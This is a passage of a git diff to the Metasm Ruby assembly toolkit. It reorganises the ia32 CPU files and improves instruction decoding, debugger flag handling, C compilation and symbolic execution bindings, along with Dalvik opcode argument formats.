:fmt21c_str + when 'const_class', 'check_cast', + 'new_instance' + :fmt21c_typ + when 'sget', 'sget_wide', 'sget_object', 'sget_boolean', 'sget_byte', 'sget_char', 'sget_short', 'sput', 'sput_wide', 'sput_object', 'sput_boolean', 'sput_byte', 'sput_char', 'sput_short' - :fmt21c + :fmt21c_fld when 'const_16', 'const_wide_16' :fmt21s when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez' @@ -214,7 +220,9 @@ unused_fc unused_fd unused_fe unused_ff] when :fmt10t; op.args << :iaa when :fmt20t; op.args << :i16 when :fmt20bc; op.args << :iaa << :u16 - when :fmt21c; op.args << :raa << :u16 + when :fmt21c_str; op.args << :raa << :str16 + when :fmt21c_typ; op.args << :raa << :typ16 + when :fmt21c_fld; op.args << :raa << :fld16 when :fmt22x; op.args << :raa << :r16 when :fmt21s, :fmt21t; op.args << :raa << :i16 when :fmt21h; op.args << :raa << :i16_32hi @@ -222,7 +230,7 @@ unused_fc unused_fd unused_fe unused_ff] when :fmt23x; op.args << :raa << :rbb << :rcc when :fmt22b; op.args << :raa << :rbb << :icc when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16 - when :fmt22c, :fmt22cs; op.args << :ra << :rb << :u16 + when :fmt22c, :fmt22cs; op.args << :ra << :rb << :fld16 when :fmt30t; op.args << :i32 when :fmt31t, :fmt31c; op.args << :raa << :u32 when :fmt32x; op.args << :r16 << :r16 @@ -238,7 +246,7 @@ unused_fc unused_fd unused_fe unused_ff] when :fmt3inline op.args << :r16 << :rlist4 when :fmt3rc, :fmt3rms - # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 + # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 op.args << :r16 << :rlist16 when :fmt51l # u64 = u16 | (u16 << 16) | ... diff --git a/lib/metasm/metasm/cpu/ia32.rb b/lib/metasm/metasm/cpu/ia32.rb new file mode 100644 index 0000000000..4bc42a2845 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32.rb @@ -0,0 +1,17 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +# fix autorequire warning +class Metasm::Ia32 < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/ia32/parse' +require 'metasm/cpu/ia32/encode' +require 'metasm/cpu/ia32/decode' +require 'metasm/cpu/ia32/render' +require 'metasm/cpu/ia32/compile_c' +require 'metasm/cpu/ia32/decompile' +require 'metasm/cpu/ia32/debug' diff --git a/lib/metasm/metasm/ia32/compile_c.rb b/lib/metasm/metasm/cpu/ia32/compile_c.rb similarity index 98% rename from lib/metasm/metasm/ia32/compile_c.rb rename to lib/metasm/metasm/cpu/ia32/compile_c.rb index 0d0d153aaf..dc7a6aaad9 100644 --- a/lib/metasm/metasm/ia32/compile_c.rb +++ b/lib/metasm/metasm/cpu/ia32/compile_c.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/parse' +require 'metasm/cpu/ia32/parse' require 'metasm/compile_c' module Metasm @@ -505,8 +505,8 @@ class CCompiler < C::Compiler if r.sz == 64 get_composite_parts(r).reverse_each { |rp| instr 'push', rp } else - instr 'push', r - end + instr 'push', r + end end when Composite instr 'push', r.high @@ -527,7 +527,7 @@ class CCompiler < C::Compiler if expr.rexpr.type.specifier == :unsigned and r.sz == 64 label = new_label('unsign_float') if m.sz == 64 and @cpusz < 64 - foo, m = get_composite_parts m + m = get_composite_parts(m)[1] end m2 = m m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM @@ -637,7 +637,7 @@ class CCompiler < C::Compiler # both sides are already cast to the same type by the precompiler # XXX expr.type.pointer? if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and - typesize[expr.lexpr.type.name] == typesize[:ptr] + typesize[expr.lexpr.type.name] == typesize[:ptr] expr.lexpr.type.name = :ptr end l = c_cexpr_inner(expr.lexpr) @@ -711,6 +711,7 @@ class CCompiler < C::Compiler end when :- r = c_cexpr_inner(expr.rexpr) + r = resolve_address r if r.kind_of? Address if r.kind_of? Expression unuse l, r l = Address.new(l.modrm.dup) @@ -1077,6 +1078,7 @@ class CCompiler < C::Compiler when 'add', 'sub', 'and', 'or', 'xor' r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM unuse r + r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [eax], bl instr op, l, r when 'shr', 'sar', 'shl' if r.kind_of? Expression @@ -1249,7 +1251,7 @@ class CCompiler < C::Compiler instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 unuse ecx - unuse r + unuse r end when 'mul' # high = (low1*high2) + (high1*low2) + (low1*low2).high @@ -1377,7 +1379,7 @@ class CCompiler < C::Compiler instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0 end when Reg - instr 'mov', Reg.new(0, r.sz), r if r.val != 0 + instr 'mov', Reg.new(0, r.sz), r if r.val != 0 when FpReg instr 'fld', FpReg.new(r.val) if r.val and r.val != 0 end @@ -1475,17 +1477,17 @@ class CCompiler < C::Compiler end f = @state.func if f.has_attribute('stdcall') or f.has_attribute('fastcall') - al = typesize[:ptr] + al = typesize[:ptr] fa = f.type.args.dup 2.times { fa.shift } if f.has_attribute('fastcall') argsz = fa.inject(0) { |sum, a| (a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al } if argsz > 0 - instr 'ret', Expression[argsz] - else - instr 'ret' - end + instr 'ret', Expression[argsz] + else + instr 'ret' + end else instr 'ret' end @@ -1509,10 +1511,6 @@ class CCompiler < C::Compiler #File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser } #File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source } end - - def check_reserved_name(var) - Reg.s_to_i[var.name] - end end def new_ccompiler(parser, exe=ExeFormat.new) diff --git a/lib/metasm/metasm/ia32/debug.rb b/lib/metasm/metasm/cpu/ia32/debug.rb similarity index 95% rename from lib/metasm/metasm/ia32/debug.rb rename to lib/metasm/metasm/cpu/ia32/debug.rb index 26c08dfe39..952c72fb47 100644 --- a/lib/metasm/metasm/ia32/debug.rb +++ b/lib/metasm/metasm/cpu/ia32/debug.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' +require 'metasm/cpu/ia32/opcodes' module Metasm class Ia32 @@ -18,7 +18,7 @@ class Ia32 @dbg_register_flags ||= :eflags end - def dbg_register_list + def dbg_register_list @dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip] end @@ -46,10 +46,10 @@ class Ia32 end def dbg_enable_singlestep(dbg) - dbg_set_flag(dbg, :t) + dbg_set_flag(dbg, :t) if dbg_get_flag(dbg, :t) == 0 end def dbg_disable_singlestep(dbg) - dbg_unset_flag(dbg, :t) + dbg_unset_flag(dbg, :t) if dbg_get_flag(dbg, :t) != 0 end def dbg_enable_bp(dbg, bp) @@ -113,20 +113,20 @@ class Ia32 if dbg[:dr6] == 0 and dbg[:dr7] == 0 dbg[:dr7] = 0x10000 # some OS (eg Windows) only return dr6 if dr7 != 0 end - dbg[:dr6] = 0 + dbg[:dr6] = 0 if dbg[:dr6] & 0x400f != 0 end def dbg_evt_bpx(dbg, b) if b.address == dbg.pc-1 dbg.pc -= 1 end - end + end def dbg_find_bpx(dbg) return if dbg[:dr6] & 0x4000 != 0 pc = dbg.pc dbg.breakpoint[pc-1] || dbg.breakpoint[pc] - end + end def dbg_find_hwbp(dbg) dr6 = dbg[:dr6] diff --git a/lib/metasm/metasm/ia32/decode.rb b/lib/metasm/metasm/cpu/ia32/decode.rb similarity index 82% rename from lib/metasm/metasm/ia32/decode.rb rename to lib/metasm/metasm/cpu/ia32/decode.rb index 393e298932..de90f087d5 100644 --- a/lib/metasm/metasm/ia32/decode.rb +++ b/lib/metasm/metasm/cpu/ia32/decode.rb @@ -4,13 +4,13 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' +require 'metasm/cpu/ia32/opcodes' require 'metasm/decode' module Metasm class Ia32 class ModRM - def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg) + def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, h = {}) m = (byte >> 6) & 3 rm = byte & 7 @@ -28,7 +28,11 @@ class Ia32 b = Reg.new(a, adsz) else s = 1 - i = Reg.new(a, adsz) + if h[:mrmvex] + i = SimdReg.new(a, h[:mrmvex]) + else + i = Reg.new(a, adsz) + end end when :sib @@ -37,7 +41,11 @@ class Ia32 ii = ((sib >> 3) & 7) if ii != 4 s = 1 << ((sib >> 6) & 3) - i = Reg.new(ii, adsz) + if h[:mrmvex] + i = SimdReg.new(ii, h[:mrmvex]) + else + i = Reg.new(ii, adsz) + end end bb = sib & 7 @@ -52,11 +60,12 @@ class Ia32 end } - if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x10_0000 + if imm and ir = imm.reduce and ir.kind_of?(Integer) and ir < 0 and (ir < -0x10_0000 or (!b and !i)) # probably a base address -> unsigned imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)] end + opsz = h[:argsz] if h[:argsz] new adsz, opsz, s, i, b, imm, seg end end @@ -90,18 +99,19 @@ class Ia32 msk = op.bin_mask[0] for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op + lookaside[i] << op if i & msk == b & msk end } lookaside end def decode_prefix(instr, byte) - # XXX check multiple occurences ? instr.prefix ||= {} (instr.prefix[:list] ||= []) << byte + # XXX actual limit = 15-instr.length + return false if instr.prefix[:list].length >= 15 + case byte when 0x66; instr.prefix[:opsz] = true when 0x67; instr.prefix[:adsz] = true @@ -115,8 +125,6 @@ class Ia32 v = byte & 7 end instr.prefix[:seg] = SegReg.new(v) - - instr.prefix[:jmphint] = ((byte & 0x10) == 0x10) else return false end @@ -131,11 +139,10 @@ class Ia32 while edata.ptr < edata.data.length pfx = di.instruction.prefix || {} byte = edata.data[edata.ptr] - byte = byte.unpack('C').first if byte.kind_of? ::String # 1.9 + byte = byte.unpack('C').first if byte.kind_of?(::String) return di if di.opcode = @bin_lookaside[byte].find { |op| # fetch the relevant bytes from edata bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') - di.opcode = op if op.props[:opsz] # needed by opsz(di) # check against full opcode mask op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and @@ -145,12 +152,17 @@ class Ia32 (fld = op.fields[:seg2A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or (fld = op.fields[:seg3A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or (fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or - (fld = op.fields[:modrmA] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or - (sz = op.props[:opsz] and opsz(di) != sz) or + (op.props[:modrmA] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or + (op.props[:modrmR] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 != 0xC0) or + (fld = op.fields[:vex_vvvv] and @size != 64 and (bseq[fld[0]] >> fld[1]) & @fields_mask[:vex_vvvv] < 8) or + (sz = op.props[:opsz] and opsz(di, op) != sz) or + (sz = op.props[:adsz] and adsz(di, op) != sz) or (ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or + (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) or # return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb - (pfx[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret') and not op.props[:opsz]) or - (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) + (pfx[:opsz] and not op.props[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name == 'ret')) or + (pfx[:adsz] and not op.props[:adsz] and (op.props[:strop] or op.props[:stropz] or op.args.include?(:mrm_imm) or op.args.include?(:modrm) or op.name =~ /loop|xlat/)) or + (op.name == 'nop' and op.bin[0] == 0x90 and di.instruction.prefix and di.instruction.prefix[:rex_b]) ) } @@ -172,39 +184,50 @@ class Ia32 when 0xF2, 0xF3; pfx.delete :rep end + if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] + case pfx.delete(:seg).val + when 1; pfx[:jmphint] = 'hintnojmp' + when 3; pfx[:jmphint] = 'hintjmp' + end + end + field_val = lambda { |f| if fld = op.fields[f] (bseq[fld[0]] >> fld[1]) & @fields_mask[f] end } - opsz = opsz(di) + opsz = op.props[:argsz] || opsz(di) + adsz = (pfx[:adsz] ? 48 - @size : @size) - if pfx[:adsz] - adsz = 48 - @size - else - adsz = @size - end - - mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64) + mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64) op.args.each { |a| di.instruction.args << case a when :reg; Reg.new field_val[a], opsz when :eeec; CtrlReg.new field_val[a] when :eeed; DbgReg.new field_val[a] + when :eeet; TstReg.new field_val[a] when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] when :regfp; FpReg.new field_val[a] when :regmmx; SimdReg.new field_val[a], mmxsz when :regxmm; SimdReg.new field_val[a], 128 + when :regymm; SimdReg.new field_val[a], 256 when :farptr; Farptr.decode edata, @endianness, opsz when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)] when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)] - when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx[:seg] - when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg] - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg + when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx.delete(:seg) + when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg) + when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz] + when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] + when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] + + when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) + when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) + when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) + when :i4xmm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 128) + when :i4ymm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 256) when :imm_val1; Expression[1] when :imm_val3; Expression[3] @@ -218,6 +241,8 @@ class Ia32 di.bin_length += edata.ptr - before_ptr + return false if edata.ptr > edata.length + if op.name == 'movsx' or op.name == 'movzx' if di.opcode.props[:argsz] == 8 di.instruction.args[1].sz = 8 @@ -229,9 +254,10 @@ class Ia32 else di.instruction.args[0].sz = @size end + elsif op.name == 'crc32' + di.instruction.args[0].sz = 32 end - pfx.delete :seg case pfx.delete(:rep) when :nz if di.opcode.props[:strop] @@ -254,7 +280,7 @@ class Ia32 # adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length # do not call twice on the same di ! def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname[0, 3] != 'ret' + if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname !~ /^i?ret/ delta = di.instruction.args.last.reduce arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce di.instruction.args[-1] = Expression[arg] @@ -303,11 +329,16 @@ class Ia32 end def backtrace_binding=(b) @backtrace_binding = b end - def opsz(di) - ret = @size - ret = di.opcode.props[:argsz] if di and di.opcode.props[:argsz] - ret = 48 - ret if di and not di.opcode.props[:argsz] and di.instruction.prefix and di.instruction.prefix[:opsz] - ret + def opsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 48-@size + else @size + end + end + + def adsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 48-@size + else @size + end end # populate the @backtrace_binding hash with default values @@ -315,13 +346,20 @@ class Ia32 @backtrace_binding ||= {} eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols + ebx = ebx mask = lambda { |di| (1 << opsz(di))-1 } # 32bits => 0xffff_ffff sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] } opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| binding = case op - when 'mov', 'movsx', 'movzx', 'movsxd', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'mov', 'movzx', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'movsx', 'movsxd' + lambda { |di, a0, a1| + sz1 = di.instruction.args[1].sz + sign1 = Expression[[a1, :>>, sz1-1], :&, 1] + { a0 => Expression[[a1, :|, [sign1, :*, (-1 << sz1)]], :&, mask[di]] } + } when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } } when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } } when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb' @@ -360,7 +398,7 @@ class Ia32 when 'pop' lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8], a0 => Indirection[esp, opsz(di)/8, di.address] } } - when 'pushfd' + when 'pushfd', 'pushf' # TODO Unknown per bit lambda { |di| efl = Expression[0x202] @@ -370,8 +408,8 @@ class Ia32 bts[7, :eflag_s] bts[11, :eflag_o] { esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl } - } - when 'popfd' + } + when 'popfd', 'popf' lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] } { esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } } when 'sahf' @@ -409,9 +447,25 @@ class Ia32 ret } when 'call' - lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8], - Indirection[esp, opsz(di)/8, di.address] => Expression[di.next_addr] } } + lambda { |di, a0| + sz = opsz(di)/8 + if a0.kind_of? Farptr + { esp => Expression[esp, :-, 2*sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr], + Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } + else + { esp => Expression[esp, :-, sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr] } + end + } + when 'callf' + lambda { |di, a0| + sz = opsz(di)/8 + { esp => Expression[esp, :-, 2*sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr], + Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } } when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } } + when 'retf';lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/4, :+, a[0] || 0]] } } when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } } when 'enter' lambda { |di, a0, a1| @@ -424,7 +478,7 @@ class Ia32 (1..depth).each { |i| b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] = b[Indirection[[ebp, :-, i*sz], sz, di.address]] = - Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address] + Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address] } b } @@ -432,18 +486,43 @@ class Ia32 when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } } when 'imul' lambda { |di, *a| - # 1 operand form == same as 'mul' (ax:dx stuff) - next { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } if not a[1] + if not a[1] + # 1 operand from: store result in edx:eax + bd = {} + m = mask[di] + s = opsz(di) + e = Expression[Expression.make_signed(Expression[a[0], :&, m], s), :*, Expression.make_signed(Expression[eax, :&, m], s)] + if s == 8 + bd[Expression[eax, :&, 0xffff]] = e + else + bd[Expression[eax, :&, m]] = Expression[e, :&, m] + bd[Expression[edx, :&, m]] = Expression[[e, :>>, opsz(di)], :&, m] + end + # XXX eflags? + next bd + end if a[2]; e = Expression[a[1], :*, a[2]] else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1] end { a[0] => e } } - when 'mul', 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } + when 'mul' + lambda { |di, *a| + m = mask[di] + e = Expression[a, :*, [eax, :&, m]] + if opsz(di) == 8 + { Expression[eax, :&, 0xffff] => e } + else + { Expression[eax, :&, m] => Expression[e, :&, m], + Expression[edx, :&, m] => Expression[[e, :>>, opsz(di)], :&, m] } + end + } + when 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } when /^(stos|movs|lods|scas|cmps)[bwd]$/ - lambda { |di| + lambda { |di, *a| + next {:incomplete_binding => 1} if di.opcode.args.include?(:regxmm) # XXX movsd xmm0, xmm1... op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/ e_op = $1 sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2] @@ -503,7 +582,7 @@ class Ia32 ret } when 'fstenv', 'fnstenv' - lambda { |di, a0| + lambda { |di, a0| # stores the address of the last non-control fpu instr run lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi| case pdi.opcode.name @@ -532,7 +611,8 @@ class Ia32 a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } } when 'bswap' lambda { |di, a0| - if opsz(di) == 64 + case opsz(di) + when 64 { a0 => Expression[ [[[[a0, :&, 0xff000000_00000000], :>>, 56], :|, [[a0, :&, 0x00ff0000_00000000], :>>, 40]], :|, @@ -542,12 +622,15 @@ class Ia32 [[a0, :&, 0x00000000_00ff0000], :<<, 24]], :|, [[[a0, :&, 0x00000000_0000ff00], :<<, 40], :|, [[a0, :&, 0x00000000_000000ff], :<<, 56]]]] } - else # XXX opsz != 32 => undef + when 32 { a0 => Expression[ [[[a0, :&, 0xff000000], :>>, 24], :|, [[a0, :&, 0x00ff0000], :>>, 8]], :|, [[[a0, :&, 0x0000ff00], :<<, 8], :|, [[a0, :&, 0x000000ff], :<<, 24]]] } + when 16 + # bswap ax => mov ax, 0 + { a0 => 0 } end } when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} } @@ -672,6 +755,30 @@ class Ia32 end end + # patch a forward binding from the backtrace binding + # fixes fwdemu for push/pop/call/ret + def fix_fwdemu_binding(di, fbd) + if di.instruction.args.grep(ModRM).find { |m| m.seg and m.symbolic(di).target.lexpr =~ /^segment_base_/ } + fbd = fbd.dup + fbd[:incomplete_binding] = Expression[1] + end + + case di.opcode.name + when 'push', 'call' + fbd = fbd.dup + sz = opsz(di)/8 + esp = register_symbols[4] + if i = fbd.delete(Indirection[esp, sz]) + fbd[Indirection[[esp, :-, sz], sz]] = i + end + when 'pop', 'ret' # nothing to do + when /^(push|pop|call|ret|enter|leave|stos|movs|lods|scas|cmps)/ + fbd = fbd.dup + fbd[:incomplete_binding] = Expression[1] # TODO + end + fbd + end + def get_xrefs_x(dasm, di) return [] if not di.opcode.props[:setip] @@ -680,8 +787,8 @@ class Ia32 when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]] when 'jmp', 'call' a = di.instruction.args.first - if dasm and a.kind_of?(ModRM) and a.imm and a.s == sz/8 and not a.b and dasm.get_section_at(a.imm) - return get_xrefs_x_jmptable(dasm, di, a, sz) + if dasm and a.kind_of?(ModRM) and a.imm and (a.s == sz/8 or a.s == 4) and not a.b and dasm.get_section_at(a.imm) + return get_xrefs_x_jmptable(dasm, di, a, a.s*8) end end @@ -721,6 +828,19 @@ class Ia32 } l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref') replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l]) + # add 'case 1' comments + cases = {} + ret.each_with_index { |ind, idx| + idx -= 1 # ret[0] = symbolic + next if idx < 0 + a = dasm.backtrace(ind, di.address) + if a.length == 1 and a[0].kind_of?(Expression) and addr = a[0].reduce and addr.kind_of?(::Integer) + (cases[addr] ||= []) << idx + end + } + cases.each { |addr, list| + dasm.add_comment(addr, "case #{list.join(', ')}:") + } return ret end @@ -732,7 +852,7 @@ class Ia32 s = dasm.get_section_at(mrm.imm) v = 0 end - loop do + while s[0].ptr < s[0].length ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness) diff = Expression[ptr, :-, di.address].reduce if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr)) @@ -1161,5 +1281,46 @@ class Ia32 binding end + + # trace the stack pointer register across a function, rename occurences of esp+XX to esp+var_XX + def name_local_vars(dasm, funcaddr) + esp = register_symbols[4] + func = dasm.function[funcaddr] + subs = [] + dasm.trace_function_register(funcaddr, esp => 0) { |di, r, off, trace| + next if r.to_s =~ /flag/ + if di.opcode.name == 'call' and tf = di.block.to_normal.find { |t| dasm.function[t] and dasm.function[t].localvars } + subs << [trace[esp], dasm.function[tf].localvars] + end + di.instruction.args.grep(ModRM).each { |mrm| + b = mrm.b || (mrm.i if mrm.s == 1) + # its a modrm => b is read, so ignore r/off (not yet applied), use trace only + stackoff = trace[b.symbolic] if b + next if not stackoff + imm = mrm.imm || Expression[0] + frameoff = imm + stackoff + if frameoff.kind_of?(::Integer) + # XXX register args ? non-ABI standard register args ? (eg optimized x64) + str = 'var_%X' % (-frameoff) + str = 'arg_%X' % (frameoff-@size/8) if frameoff > 0 + str = func.get_localvar_stackoff(frameoff, di, str) if func + imm = imm.expr if imm.kind_of?(ExpressionString) + mrm.imm = ExpressionString.new(imm, str, :stackvar) + end + } + off = off.reduce if off.kind_of?(Expression) + next unless off.kind_of?(Integer) + off + } + # if subfunctions are called at a fixed stack offset, rename var_3c -> subarg_0 + if func and func.localvars and not subs.empty? and subs.all? { |sb| sb[0] == subs.first[0] } + func.localvars.each { |varoff, varname| + subargnames = subs.map { |o, sb| sb[varoff-o+@size/8] }.compact + if subargnames.uniq.length == 1 + varname.replace 'sub'+subargnames[0] + end + } + end + end end end diff --git a/lib/metasm/metasm/ia32/decompile.rb b/lib/metasm/metasm/cpu/ia32/decompile.rb similarity index 98% rename from lib/metasm/metasm/ia32/decompile.rb rename to lib/metasm/metasm/cpu/ia32/decompile.rb index dd2dad6e88..06035defd7 100644 --- a/lib/metasm/metasm/ia32/decompile.rb +++ b/lib/metasm/metasm/cpu/ia32/decompile.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/main' +require 'metasm/cpu/ia32/main' module Metasm class Ia32 @@ -52,7 +52,7 @@ class Ia32 # returns { blockaddr => [list of vars that are needed by a following block] } def decompile_func_finddeps(dcmp, blocks, func) deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs + deps_subfunc = {} # things read/written by subfuncs # find read/writes by each block blocks.each { |b, to| @@ -70,7 +70,7 @@ class Ia32 end } a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - + deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] } @@ -121,7 +121,7 @@ class Ia32 end } a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - + next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] false @@ -290,7 +290,7 @@ class Ia32 # mov cr0 etc a1, a2 = di.instruction.args case a1 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg + when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32 if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});") @@ -302,7 +302,7 @@ class Ia32 next end case a2 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg + when Ia32::CtrlReg, 